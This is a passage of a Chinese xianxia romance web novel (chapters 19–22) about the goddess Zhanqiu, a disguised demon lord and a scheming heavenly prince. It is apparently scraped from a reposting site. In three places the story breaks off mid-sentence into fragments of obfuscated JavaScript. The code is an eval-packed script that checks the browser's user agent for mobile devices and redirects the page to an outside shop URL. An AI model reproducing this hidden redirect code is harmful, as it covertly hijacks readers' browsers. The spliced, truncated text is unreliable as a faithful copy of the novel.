“二殿下,你在我秋茗宫门口就敢对我的仙侍出手,是否也太不把我放在眼里了?” 19. 第19章 裘安的目光从“玲珑”身上冷冷拂过,落在斩秋身上。许是对她将其护在身后的举动感到惊讶,又或是觉得刺眼,久久没有说话。 见他无言,斩秋以为他自知理亏,怒气消散了些许:“二殿下今日前来秋茗宫可是有事?若无事,便请回吧。” 裘安没有搭话,只是神色凝重地盯着某处。 斩秋顺着他的视线缓缓低头朝后看去,发觉自己抓着百里及春的手还未松开。不由眉尖轻蹙,好似烫手一般连忙将手撒开。 手上突然失了束缚,但腕间的肌肤依旧传来一阵密密麻麻的温热。百里及春垂下眼帘,目光朝手腕扫去,敛起眉抿唇片刻,慢慢收回手落于身侧。 当斩秋再次回过头来,对面已然不见裘安的身影。她四处张望了一番,确定他已经离开后,转身质问起百里及春来:“你去哪了?我不是和你说过要老老实实地待在齐星斋吗?” 教训的口吻入耳,百里及春不由感到荒诞,面色又恢复了以往的冰冷:“本座来天宫本就有要事,何以老老实实待在齐星斋?” 他似乎刻意加重了“老老实实”四字,说完面上一哂,追问一句:“你莫不是真把本座当成任你差遣的仙侍了罢?” 被他这么一问,斩秋面露几瞬尴尬,借口道如此是为了他的安危:“我是看你暂时法力被封,对这天宫又不熟悉,恐会陷入危险之中,这才安排你暂且待在齐星斋。” 说完她又补了一句,“在秋茗宫内,你可随意走动,但是出了秋茗宫,你的一切行动都得由我陪同。” 能将监视说得如此动听,百里及春倒也是头一回遇见。不过他并未反驳,反倒很受用地点了点头:“好,本座现在便要出去一趟。” “你不是刚回来吗?” “突然又有了想去的地方。” - 彼时,九重幽境。 裘旭自昨日从万虚殿出来,便立即回到了当日斩秋为其设阵之地。他静静地注视着地面阵法留下的痕迹,目光愈发沉重。 就在这时,他的身后忽然传来一唤。 “阿兄。” 回首见是裘安,他的目光瞬间柔和起来:“安儿,你来得正好。” “过来瞧这儿。”他招手唤其来到身旁,指着前方的地面说道:“先前我一心只想着如何审问出涂千羽背后之人,疏于查看这阵法之地。今日仔细查看一番,才发现此处有异样。” 说着指尖一点,地面阵法的边际便被一道赤色的光圈起,他继续说道:“你看,这阵法边缘的痕迹呈鱼纹状,而非用除行术解开后的盘云状。” 那日斩秋布完阵后将破阵的除行术教与他,他又将此术教给了裘安与邬霖。而发现涂千羽之时,正值邬霖看守此处。 他回忆道:“那日邬霖说他发现涂千羽时她受伤昏迷其中,随后用除行术将阵法解开才将其带出。可这破阵后的痕迹与他的说辞对不上,我觉得……” “阿兄可是怀疑我?”裘安出声打断道。 裘旭闻言愣了片刻,反应过来后连忙否认:“安儿,你误会了,我只是认为此事仍有异处。” “阿兄若认为邬霖有问题,便将他一道捉拿审问罢。”裘安眉心微蹙,神情有些受伤。 为了不落人口实,那日他抓来涂千羽将其扔入阵中之后,特地再施了一道阵法,随后又将裘旭遣散的天兵召了回来,让邬霖当着众人之面破阵捉人,如此便有了诸多人证。 但他的阵法到底不是斩秋的逆生阵,故而破阵后留下的痕迹自然也与逆生阵不同,可谓百密一疏。 他倒是未曾想到裘旭会察觉到此处,毕竟裘旭也只是从斩秋口中听说此阵的情况,并未真正见识过。 裘旭面色略显为难。邬霖是裘安的神兽,若当真是邬霖出了问题,裘安也难逃罪责,这并不是他想看到的。 看出他内心的纠结,裘安唇边划过一丝不易察觉的弧度,顷刻间又抬起眼眸,神情恳切地问他。 “不过阿兄可确定这阵法解开后边缘将呈盘云状?会不会是斩秋与阿兄交代时说误了呢?邬霖毕竟是自我回天宫后结识的第一个人,虽为神兽,但我一直将他视作伙伴,我不想因此误会而寒了他的心。” 听裘安如此说,裘旭难免有些动摇。 他抿了抿唇,心中思索片刻,还是决定相信裘安的说辞。故而就坡下驴,温和地笑了笑:“安儿说得有理,许是我记错了。” - 入了朝云门,一路向东,绕开席月斋,通过南青殿往西,最后穿进回廊来到朝云殿后方。 斩秋就这么跟着百里及春来到此处,望着四周熟悉的景象,不解地看向他。见他大有翻进去的趋势,连忙伸手将其拦住,她压低了声音:“这可是裘安的寝殿!” 百里及春没有说话,只斜睨了她一眼,冷淡的神情仿佛写着“那又如何”四个大字。 斩秋正打算说些什么劝阻,前者却已甩开她的手,利落地跃身翻了进去。 说到底百里及春是她带来天宫的,出了什么事都与她脱不了干系。事已至此,她只能在心底狠狠咒骂一句,随后跟着翻进殿内。 这间寝殿,她曾来过无数次,这里的一切都与她记忆中的模样无二。 不过眼前百里及春这副轻车熟路翻找东西的身影倒是稀奇,引得她眉尖轻蹙:“你对这里似乎很熟悉。” “莫非你不是第一次来天宫?不然你是如何知道避开朝云宫守卫的这条路的?” 百里及春甚至没有回头看她,目光集中于自己身前翻找的箱柜,若无其事地回道:“回答你的问题也是我的职责么?” 斩秋闻言一哂,索性甩手站在一旁看他将此处翻个底儿朝天。 虽不知他要找的是什么,但就这么看着他从床头找到床尾,又从柜顶翻到柜底,也是颇为有趣。堂堂一界魔尊,竟在九重天宫做起了小贼。 想到这里,斩秋唇边不禁漾起一丝奚弄的笑意。 一盏茶的功夫过去,他似乎仍未找到他想要的东西。斩秋终于看不下去了:“你到底在找什么?” 百里及春没有搭话。 “我不问你它是什么,你描述一下它长什么模样,我帮你一起找岂不更快些?”她仍未死心,又补上一句,只是百里及春对她所说的话充耳不闻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633942|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >斩秋忍不住低声喃喃:“他的寝殿我可比你熟,找起来定是快多了。” 孰料这时百里及春倒有了反应,好像终于能听见她说话似的。 他突然停下手中动作,缓缓转过身来,安静地看着她。 斩秋被他盯得有些背脊发凉:“你这么看着我做什么?” 听她这么问,百里及春方才轻轻收回视线看向别处,身体却依旧未动,好像又不着急了。 斩秋就这样看着他静驻着,半顷,听他冷不丁开口:“长圆状,一掌宽,在光线下呈金色。” “什么?”她一时没反应过来,刚说完便再次对上百里及春清冷的目光,只听他道:“你不是要帮忙找么?” 哦,找东西啊。 斩秋点点头,在记忆中搜索任何可能藏放东西的地方。最终将整间寝殿寻了个遍,也没寻到百里及春口中那个长圆状之物。 不过,还有一个地方没搜过。 ——裘安的密室。 斩秋一边想一边走到打开密室的机关面前,正准备按下机关,心中浮起一丝犹豫,转头看向背对自己的百里及春,皱起了眉。 虽然裘安之于她是仇敌,可百里及春呢?他是敌是友也尚且难辨,如此就将裘安的密室暴露在他面前,是否会给将来留下隐患? 这么想着,抬起的手渐渐放了下来。 就在此时,门外忽然响起一阵急促的步履之音。 斩秋瞬间打起精神,转势便欲逃走,可眼下的情形,翻窗显然已经来不及了。她没时间思考,旋即上前拉过百里及春,按下机关。 顷刻之间,二人已从明亮的宫殿来到了阴暗的密室当中。 靠在与寝殿相接的暗门上,可以听到门外的声音。只听此时门外的脚步声停下,随之响起一道熟悉的男声。 “你们在门外守着。” 是邬霖。斩秋心中微动,竖起耳朵仔细听着外面的动静。 只听他推门步入殿内,急促的脚步声朝着他们所在的方向而来,最终在暗门外停下,此刻他们只有一墙之隔。 门外乃是一个案柜,自上而下共分四层,而打开密室暗门的机关在第二层书卷后。 邬霖走到柜前,伸手缓缓向前探来,原本已握在第二层拉手之上,突然停顿了一下,转而向上打开了另一层柜门。 柜内亦有机关暗格,只听他按下什么,柜身倏而一震,细微的木器摩擦之音在耳边回响,没过多久便恢复了平静。 邬霖取走柜内之物后没有停留,很快又迈着急切的步伐走了出去。 见门外步声已远,斩秋才放下心来:“人走了,我们出去吧。” 说完这话她才发现,身旁早已没有百里及春的身影。他不知从哪儿点起了火苗,正在前面案桌处查看着什么。 “我们不能留在这里。”斩秋脸色有点难看,出声提醒道。 “为何不能?”百里及春应声回首,盯着她那张略显慌张的脸,莫名笑了笑,在微暗的火光之下透着几分邪魅的气息,一如他沙哑的声音一般令人心底生寒。 “托你的福,说不定会有意想不到的收获。” 20. 第20章 “我不该带你进来的。”斩秋的声音一瞬间冷肃许多,转念又道,“不对,我一开始就不该带你来天宫。” “听你的意思,你生气了,”百里及春依旧微笑着,笑声里掺着些许鄙薄之意,“因为被本座发现了裘安的密室?” 斩秋听着敛了眉,如今裘安于她而言不过是一个势必要铲除的祸患,他的密室被人发现又与她何关? 她忌惮的不是裘安有何不可告人的秘密在这里被百里及春发现,而是百里及春本身——阴晴不定,喜怒无常,让人根本看不透,如此最是危险。 而她亲手将自己卷入了危险之中。 见斩秋无言,百里及春脸上的笑容逐渐散去:“倒是差点忘了,你们之间还有婚约。如此,本座倒是要好好斟酌一下与你结盟是否可靠了。” “你我之间并非结盟,而是交易。”斩秋纠正他的措辞,眼神微冷,“若你不做有损我利益之事,我们之间的交易自然是可靠的。” “是吗?”百里及春挑眉,眼神似是在质问她,既然如此为何不让他待在这里。 为什么? 斩秋陷入了深思。 因为如今的她不喜欢脱离掌控之事,也不喜欢脱离掌控之人。而就在方才百里及春不听劝阻执意留下时,她才意识到,百里及春占尽了这两样。 斩秋抬起眼,没有回答他的问题,淡道:“你要找的东西,我帮你找。”说着按下了机关,打开暗门,“出去等我。” 这一次百里及春没再反抗,拇指轻轻一折盖上了掌中火摺,缓缓朝出口处走来,略过斩秋时漫不经心丢下一句:“那便有劳了。” 上一世斩秋鲜少进入这间密室,印象较深的一次是裘安从妄墟山归来之后,他亲自将她带到这里,将相守玉系在她的腰间,当作定情之物。 当下她还打趣道,原来这间密室内装着这么多宝贝,可谓是他的藏宝之地。裘安也笑着应是。可是后来她才知道,涂千羽也曾被他藏在这间密室当中。 如今想来真是一阵恶心,她并不想在这里多待一刻。于是加快了动作,运用灵力翻找着任何符合百里及春所述之物。 约莫一盏茶的功夫,斩秋从密室中走了出来,对百里及春摇了摇头:“没有找到你要的东西。” 百里及春没有搭话,只是不以为然地颔首,好像早就料到会是这个结果。斩秋见他如此表情,不由得纤眉一蹙:“你不会以为我在骗你吧?” “本座何时这般说了?”百里及春不咸不淡地回答,随后若无其事地推开侧门走了出去。 斩秋连忙追了上去,本想再与他争辩几句,好让他知道自己没有徇私,毕竟她与裘安之间早就没有什么私情可徇了。但转念一想,她为何要百里及春自证清白?她又没做错。 是以,斩秋没再说什么,昂首挺胸地走在他身侧。 走着走着,斩秋终于觉出些古怪。 哪怕她多活了五十年,想要绕开一切守卫自由出入朝云宫尚且费力。而如今跟着百里及春走,却是一路畅通无阻。 他似乎对此处的每一条路、每一道门都如此熟悉,仿佛已走过无数遍。 要说他在天宫内没有内应,她是万万不信的。 “你在天宫安插了人,那个人是谁?”走到甬道转角时,斩秋忍不住问道。 “你们不是抓到了么?” “涂千羽?”斩秋自是不信。再见他一副无所谓的态度,一点也不似自己人被抓走后该有的模样,便更加笃定他在撒谎,无奈翻了个白眼,“无聊。” - 罪仙塔内,凄惨痛苦的叫声在幽暗的空间里不断回响。仅仅是听见这般吼叫,便已能想到他们此时正经历着如何可怖的刑罚。 天帝虽未让涂千羽受刑,但如今的情形也差不多了。并非只有伤筋动骨才算惩戒,内心倍受煎熬也是一种酷刑。 涂千羽素白的衣裙早已染尽污浊,疲惫和恐惧爬满了她的面庞。到底是年纪尚浅的小仙,哪有不害怕的。可尽管她再害怕,心里也始终吊着一份念想,坚定地告诉自己,她没有赌错。 她一定会出去。 时间在黑暗中被无限拉长,她不知道等了多久,直到周围的叫声蓦然静止,只余一道浅浅的步声从不远处响起。 那步声很慢,却十分沉稳。不多时,悠悠停在她面前。 她缓缓抬起眼,视线从地面一点一点朝上探去,哪怕什么也看不见,却依旧能清晰地感受到来者身上强大的气息。 “殿下?”涂千羽颤颤巍巍地唤出二字,语气似是试探,又似期盼。 然而回应她的却是一片沉静。 虽然她看不见来者,但对方凭借神力却能清楚地看到她此刻狼狈不堪的模样。 一头长发被汗水沁湿黏在脸颊两侧,分明是阴寒刺骨的环境却也能冒出一身冷汗,想来是害怕极了。 身姿笔挺的裘安垂眸俯瞻着脚下女子,眼底冰冷得没有一丝情绪。过了一会儿,他终于开口:“你做得不错。” 听到声音的涂千羽眉间一动,眼里升起了希翼:“殿下!殿下您终于来了!我什么时候才能……” 她的话未说尽便被裘安不耐掐断:“眼下还不能让你出去。” “那……那要待到何时?”涂千羽的声音减弱了些,却依旧覆盖不住心底渴望。可惜她的渴求落入裘安的眼中,却成了掌控她的利器。 向来有所求者,用起来最是得心应手。 裘安在黑暗中扬唇看着她,如同施舍一般轻轻摊开掌心,将手中之物随意地抛落,瓷瓶掉落在玄石栏杆上发出两声碰撞的声响。 “这是答应给你的酬劳。” 涂千羽寻着声音在地面摸索着,指尖触及瓶身的瞬间一把将其牢牢抓在手中,身体激动地颤抖着。 “谢殿下!” 东西已经给她,裘安不欲久留,很快便消失在罪仙塔中。他一离开,先前在他周身用来隔绝外界的屏障随之消散,嘶哑的吼叫再度包围了涂千羽。 只是此时她的身体已停止颤抖,紧紧握着手中瓷瓶,眼底生出从未有过的坚定。 一直候在罪仙塔外的邬霖神色凝重。 殿下传音让他将灵元丹取出时,他原以为是有要紧之事,火急火燎便去朝云殿中将其取出送往幽境,却没想到此物竟是用在了涂千羽此等低微之人身上。 见裘安从罪仙塔而出,邬霖不住上前询问:“殿下,您当真 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百里及春坐在案前,生出几许倦意,不禁放下手里典籍,轻轻阖目。然而这份清净很快就被一道不合时宜的声音打断。 只听一阵密集又毫无章法的叩门声伴随着斩秋的声音一同响起:“是我。” 百里及春起身打开门,低头望着斩秋:“何事?” 斩秋并未回答,直接从他身旁的缝隙钻进屋内,扫视着四周。目光瞥见一旁案上未合的书册,飞快地朝其走去,一把拿起书册翻了起来:“看什么呢?” 百里及春双手抱环虚倚在门边,对她打探的举动毫不在意,只是静静地看着她,眼底神色在月色的映照下竟显出几分柔和。 仔细翻阅了几页,见上面尽是一些上古时期的史事,斩秋顿时没了兴趣,随手将它抛回案上,转而回望百里及春,神情变得认真起来。 “这几天我一直没问你,濯奇怎么样了?他可有说些什么?” 百里及春放下手臂,直起身摇了摇头:“他和以往一样,只一心求死,其余的未言半字。” 听他这么说,斩秋眼底寒光闪动,声音沾染了几分明显的怒意:“他仍觉得此事是拿一命抵一命便能揭过去的么。真神与天地同寿,启是他一命便能抵的?” 不过她来之前便已料到濯奇不会那么轻易松口,故而今夜前来是为了让百里及春带她再去一趟魔界。 “我要见濯奇。”斩秋斩钉截铁地说道。 后者似乎知道她会这么说,脸上没有丝毫的惊讶,正欲开口之际,忽然察觉到身后气息,目光不着痕迹地朝廊下扫去。不知看到了什么,眼底浮上一抹嘲弄的笑意。 见他不回答,斩秋循着他的视线也欲朝外探去。仅瞥去一眼,什么都未来得及看清便被眼前人挡住了视线。 “要不要打一个赌?”百里及春突然问道。 “什么?” 斩秋不明所以,抬眸朝他看去,却听见“啪嗒”一声。 门被百里及春用力关上,清冷的声音从她头顶传来。 “就赌今夜,去不成了。” 21. 第21章 邬霖回到朝云宫禀报之时,裘安正写着要拿给裘旭的名单。听见门外的动静后,他并未放下手中毛笔,依旧心神专注于眼前之事。 “殿下,自昨日属下前往齐星斋起,玲珑一直待在屋内,未曾离开。”邬霖走进来,对裘安施礼禀道。 说来玲珑身为斩秋的仙侍,本应该侍奉在其左右,而她却闭门不出,的确不同寻常。 “是吗?就没什么特别之处?”裘安提笔蘸了蘸墨,视线始终没离开书案,不咸不淡地问着。 “确有一事。”邬霖回想着方才看到的景象,继续说道,“方才斩秋上神去了齐星斋。” 听他这么说,裘安握笔的手一顿,终于抬起眼看向邬霖,眼中有询问的意思。 “属下本想上前听清他们在说什么,可是玲珑突然把门阖上了。” 秋茗宫的每一座宫殿都被施以秘术,由殿门的开合为契。一旦殿门阖上,殿内便宛如被一层屏障笼罩,外界绝对无法听见里面一丝声响。是以他没有继续看守,而是选择先行回来禀报。 话音落下,裘安的神情变了。 纤柔的笔刷重重落在纸上,上面犹未干尽的墨汁在纸上缓缓沁出一道墨点。 列了许久的名单就这样被墨染得不再完整,他却浑然不觉,漆黑的瞳仁突然暗了下去,神色复杂。 见其面色阴沉,邬霖恐是自己办错了事,立刻垂首又道:“殿下可是觉得哪里有异?属下现在便回去……” “不必了。”他的话还未说完便被殿前的声音截断,再抬首时只瞥见自家殿下黛紫色的衣角从眼前闪过。 邬霖微怔一瞬,回神后才发觉殿下早已步出殿外。想起殿下方才所言,他不由得静默伫立,思考着自己是否该追上去。 “何故去不成?”屋内,斩秋满目不解地问道。 白日里人多眼杂,夜里行动总归方便一些。而且她今日去了一趟幽境,以讨要先前约定好的灵元丹为由去寻裘旭,碰巧得知了今夜幽境调兵,南天门轮守时间有变。 亥时到子时之间,南天门只有结界为守。只要他们快去快回,便可做到不让任何人察觉,所以今夜是最好的时机。 百里及春不答反问:“你觉得裘安对你有几分在意?” 这个问题问得突然,斩秋不禁微愣,回神后更加一头雾水:“这和裘安有什么关系?” “他派人监视着齐星斋。”百里及春坦然答道,“而你半夜三更来到此处,如今与本座独处一室。” 他话时语气冷淡,可看向斩秋的目光却有些晦暗不明,惹得斩秋心下一阵怪异,随后立即将视线挪开,只听他继续说道:“所以今夜去不成魔界,裘安此刻应该已在来的路上了。” 此情此景若是放在上一世,倒是有几分人间话本上少女幽会情郎,却被家中指腹为婚的对象发现的模样。 可这戏码放在她、百里及春和裘安身上,便是哪哪都不对。眼前这景象分明是:一个心怀叵测之人准备前来打搅她与另一位心怀叵测之人之间的交易罢了。 思及此,斩秋深深吸了口气,振振有辞道:“我来寻自己的仙侍还需要挑时间吗?再说了,你如今也是女子模样。” 话虽如此说,但她心里也知道,如今自己还是先离开为妙,继而上前推开百里及春,伸手便要开门。孰料手指才刚碰到门闩,房门便被外面敲得阵阵响动。 斩秋眉心一折。 他怎么来得这样快? 斩秋登时朝旁退去,背靠未开的门扇藏匿于阴影之中。 与此同时,只听左侧的门被打开,裘安森冷的声音如同一把锋利的宝剑刺了进来:“她呢?” “二殿下在说谁?”百里及春面不改色地反问道,语气听不出任何情绪。 话音甫落,屋内顿时安静下来。二人四目相对,只见裘安那双眼睛冷得宛如冬日晨霜,透着无尽寒意。 百里及春见状,眼底闪过一丝轻蔑,继而侧了侧身,抬手作出一副邀请的姿势:“二殿下若是觉得这屋内藏着什么人,大可进来搜寻一番。” 他说得坦荡,似乎一点儿不也不担心裘安真的进屋,反倒是期盼着他能发现些什么。 然而就掩在一旁的斩秋却是目色一凝。 眼下她与裘安之间不过一门之隔。 百里及春的目光悄然挪到了斩秋身上,因他侧身而立,一抬眼便能看到站在阴影中的她,而她也正在看着自己。 两道视线相接,一道暗含警示,一道轻浮不羁。 一股凉风伴随着月光挤入屋内,泛起微薄的寒意。屋内除却纸页随风激起的摩擦声以外,静得没有一丝多余的声响。 裘安顺着百里及春的视线朝右边未开的门扇看去,目光冷硬得仿佛能穿透那道门窥刺到后面的景象。 驻足良久,他始终没有跨过那道门槛。 袖中握紧的拳头缓缓松开,眉眼也逐渐舒展。再次抬眸,裘安眸底已是一片清明:“玲珑姑娘如此坦荡,想来是我误会了。”说着往后退了一步,作势便要离开。 不知想起了什么,他忽然停了下来,含笑道:“对了,我观玲珑姑娘身无灵力,日后可要小心一些。虽然天宫之上戒备森严,但也处处暗藏危险。” 他的声音温雅柔和,宛如春日花田间含苞欲放的花朵。可是百里及春听得出来,他柔和的话语之下盛满威胁。 想来裘安已用神力探过,知晓此时他的本源之力被封,形如凡人。 回朝云宫的路不长,但是裘安走了很久。一路上如乌云压境,浑身散发着阴郁的气息。 一直守在殿门外的邬霖见到裘安归来,大步流星上前迎去。 走到跟前突然发觉原本身姿挺拔、气宇轩昂的殿下,如今低耸着肩竟显得几分落寞,他忍不住问道:“殿下,您怎么了?” “今夜斩秋不在齐星斋。”裘安顾自往殿内踏去,这般答道。 “可属下……”分明看见了。 邬霖面色一愣,片刻后反应了过来,站在门外颔首,纠正了自己的说法:“属下看错了。” 这一晚过后,斩秋得知裘安暗中监视着秋茗宫,接来下的好几日都没再提起前去魔界一事,甚至都未踏出秋茗宫半步。 直到宫中传来了天后寿宴的消息。 “你最近不是正忧心审问涂千羽一事吗,竟然还有闲心请我帮忙相看寿礼。”斩秋手撑在凭几上,狐疑地看着对面正襟危坐的裘旭。 她与裘旭的关系虽算不上势同水火,但也绝对没亲密到能像小姊妹一般商讨一起送些什么寿礼,故而裘旭今日前来定还有别的原因。 被她这么上下打量地盯着,裘旭有些不自在地垂首,随意抓起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633944|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的茶盏抿了一口,轻描淡写道:“涂千羽死了。” “死了?”斩秋目下一惊,猛地坐直身来,“什么时候?怎么死的?你们对她用刑了?还是有人将她灭口了?” 一连串的问题落下,裘旭喝茶的动作迟疑了一瞬,继而抬起头:“你很在意她?” 短短几字将斩秋问得一噎。 她的确在意。 上一世将她害得那么惨的涂千羽,这一次竟然就这样死了? 她不信。 可这些自然不能让裘旭知晓,继而垂下眼眸,绕开了话题:“今日你是来替裘安来的吧。” 当今天后并非裘安生母,虽然裘安平日里也端着一副孝子姿态,但是每逢天后寿辰,他便总会发生些意外无法赴宴。 回想从前他们的婚事也是这样一次次被“意外”推迟。不得不说,他逃避事情方式倒是向来只有这一招。 想到这里,斩秋忽然冷笑一声:“你不用费心了,反正他也不会去的。这些年你替他准备好的寿礼,到最后哪一次不是入了他的私库。这知道的是天后寿辰,不知道的还以为是他二殿下过寿呢。” 斩秋越说越起劲,丝毫没注意到对面裘旭愈发变黑的脸,又想起什么,忽而望着桌上被咬了一口的桂花糕窃笑:“不出意外的话,他很快就出意外了。” “斩秋!”裘旭沉声怒叱。 “我又没说错,你瞪我作什么?”斩秋回敬他一个凶狠的眼神,“你与其在这和我商讨送什么礼,倒不如回去好好看着裘安。” 自那日裘安在殿上请求将婚期定下之后,裘旭便认定了斩秋乃裘安心属之人。既然如此,她的话或许对安儿管用,这才来寻斩秋意欲让她拿着寿礼去和安儿好好劝解一番,不料斩秋的心意却不相同。 是他想岔了,或许他本就不该来此。 裘旭长叹一息,拂袖起身便欲离去,可这时斩秋在他身后唤道:“等等。” 择日不如撞日,他人都来了,可不能错过讨债的机会。斩秋看向他,微笑道:“我的灵元丹呢?上一次去幽境你就说还未取到,要过几日给我,如今可是过了几日了。” 提及此事,裘旭肃穆的脸上浮现一抹愧色:“我的确去寻了元离神尊,可是神尊手中的那枚灵元丹早在几日前已经转赠给安儿了。” “裘安?他要灵元丹做什么?” 裘旭垂眸摇首:“我答应你的事没有做到,真的很抱歉。但是我一定会想办法弥补的。” “你怎么弥补?” 除了灵元丹,再无其他丹药有此功效,看来她想要快速恢复自己的功力还需再想其他的办法。斩秋摆摆手,无意刁难于他:“算了,你走吧。” 她说完又靠回凭几上,拣起先前没吃完的桂花糕细细品尝。 听她这么说,裘旭没再多说什么,转身准备离开。 就在他快要迈出殿门时,猝然想起什么,神情微动,在原地驻足片刻,再度转过身来。 “你方才说,这些年我为安儿准备的寿礼最后都入了他的私库。” 斩秋闻声朝他看去,不明白他为何重复起自己说过的话。 思忖之际,便见他的表情变得怀疑起来,问出了一个教她手中桂花糕蓦然掉落的问题。 “这千年来你从未出过缥缈境,你是怎么知道这些事情的?” 22. 第22章 酥糯的桂花糕掉在地上,发出“啪哒”的声响,一圈细碎的粉屑落在周围,仿佛石子掷入水中激起涟漪,一如斩秋原本平静的眼底突然闪过一瞬慌乱。 她的喉咙吞咽了下,很快便移开了视线,开口时已不见任何慌张之色:“这些事情想要打听不是很容易吗?” “可是为母后挑选寿礼一事只有我和安儿知晓。” “不见得吧。”斩秋挑眉,故意摆出一副揶揄的模样,意味深长道:“朝云宫和御宣宫中有那么多仙侍,说不定就有嘴巴不牢的呢?” 裘旭闻言不由得垂眸,沉思半晌,终是拂袖离去。 见其离开,一直站在殿内未言的灵衫才开口道:“殿下,需不需要属下去朝云宫……” “不用。”斩秋知道她的意思,摇摇头掐断了她的后话:“就算他真起疑心将朝云宫所有仙侍质问一番又如何?本就是没有证据的事。” 若是眼下去朝云宫和御宣宫打点一番,反倒会留下把柄。 “是。”灵衫颔首。 “对了,百里及春这几日在做什么?”斩秋问。 这几日她没再去过齐星斋,百里及春也很默契得没来秋茗殿。分明都在秋茗宫中,但是一连几日都不见他的身影,倒真的教她有几分好奇。 “未曾见其出过齐星斋。”灵衫见她神情疑惑,又补了一句,“需要属下去查看一番吗?” 算算时间,如今距离他恢复本源之力还有两日,他暂时应该弄不出什么乱子。 可他当真能老老实实待在齐星斋? 思忖过后,斩秋还是决定去查看一番,于是起身看向灵衫:“我和你一起去。” 片刻之间,二人已来到齐星斋。 起初斩秋敲门无人应答时,她只当是百里及春懒散傲慢,不以为意。可一炷香的时间过去,屋内仍未传来半点儿动静,她的面上掠过一丝狐疑。 她不禁朝灵衫看去,与其交换了个神色,便见后者掌心聚力朝门前推去。 门开之后,忽然一股浓郁的血腥味在空中弥漫开来,引得斩秋长眉一折,心中感到蹊跷。 奇怪,青天白日之下,为何室内如此阴暗,且处处充斥着浑浊之气,一点儿也不似这里原本的模样。 她眯起眼将四周扫视一番,却见屋内并无人影,唯独床上的帷幔披散,遮去了里面的景象。 正当她欲过去一探究竟时,手腕被灵衫从身后拉住,她回首望去见其动了动唇无声道出四字。 “当心有诈。” 灵衫说完便领先一步走于她身前,手慢慢朝腰侧探去握上剑柄。行至床边灵衫挥手撩开帷幔,却在看到眼前景象时动作迟疑了一瞬,轻轻皱起了眉。 床上躺着的人浑身血迹,面色苍白如雪,一双剑眉紧锁,额头颈间的经脉凸起,哪怕是教人远远看着也能想象得出他此刻正忍受着怎样的痛苦。 而那人正是百里及春。 此时他并非顶着玲珑的面容,而是恢复了原本的样貌。想来是斩秋的化形术本就不精,故而在他遭遇袭击时便已被对方所破。 斩秋脸上闪过明显的惊愕和疑惑,她快步踱至床边,伸手欲查看他的情况。 只是他的衣袍早已被染得处处是血迹,甚至已看不出原本的颜色,竟让她一时不知该从何处查看起,伸出的手就这么腾在半空,最后握拳收于身侧。 钻心刻骨的疼痛使得汗珠从百里及春额头大颗滚落,听见身旁动静的他似乎有了点反应,紧皱的眉头轻颤了一下。 “殿下,属下观其伤势应该并非今日所受。”灵衫在旁突然说道。 斩秋听罢脸色突然变得沉重,心中有许多疑问等着他解答。 譬如他是怎么受的伤?在何处受的伤?又是何人所为?他如今以凡人之躯承受这些,与极刑无异。 想到这里,斩秋心底不由升起一丝愧疚,是她让百里及春服下源溯丹的。 灵衫跟在斩秋身边千年,自是能读懂她的每一个表情。见她神色自责,忍不住开口道。 “殿下,这并非您的错,您与他本就立场不同。” 话音落下,斩秋收起心中思绪,眼下当务之急是先为他疗伤。 先把禁制解了吧,只有先解除源溯丹对本源之力的抑制,才能开始治疗。 斩秋这么想着,身体便这么做了,她朝后退了两步,指尖交叠幻化出一缕薄薄白雾朝他额心探去,解除禁制后,又施神力为其疗伤。 只是她的神力似乎对百里及春的伤势不起作用,他的脸色非但没有丝毫好转,还愈显苍白。 斩秋连忙收手,心想可能是她的神力与百里及春相冲,所以不起作用,于是转头看向灵衫:“灵衫,你试试。” 灵衫领意照做,但是依旧不见任何起色,只得收力对斩秋摇了摇头:“属下无能,救不了他。” “不,”斩秋心中虽有焦急,却十分清醒,“一定还有办法。” 如今放眼天宫,能救百里及春的或许只有元离神尊了。 可百里及春的身份绝不能被天宫旁人知晓,她若是此时去寻元离神尊,神尊是否会揭穿百里及春的身份尚且两说,更别谈答应替其医治了。 该怎么办?六界之中,还有谁的医能与元离神尊相当? 妖族灵烨倒是一个起死回生的妙手,可是妖界太远,且她没有能在妖界出入自如的身份,恐怕百里及春如今的状况是拖不起了。至于魔界,依赤龙那性子,要是让他知道百里及春受此重伤,怕是她前脚才将百里及春送过去,后脚自己就要身陷囹圄了罢。 还有谁呢? 深思游走半晌,斩秋突然想起什么,眼眸一亮:“我们回缥缈境!” 这几日裘安忙于幽境一事,时常前往御宣殿与裘旭商议事宜。好不容易待到此事尘埃落定,终于想起来寻找苍竹的踪迹。 寻不到苍竹,便无法定下婚期,夜长梦多。 起初他对这桩婚事并不热忱,心想一切只要顺从着父皇的旨意便好。纵使他心底其实并不情愿,只是想先应承着,之后拖上一些时日或许事情会有转机。就算改变不了,最坏的结果也不过是娶一个不爱的女子罢了。 可他却没想过,到最后会是这样截然相反的转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 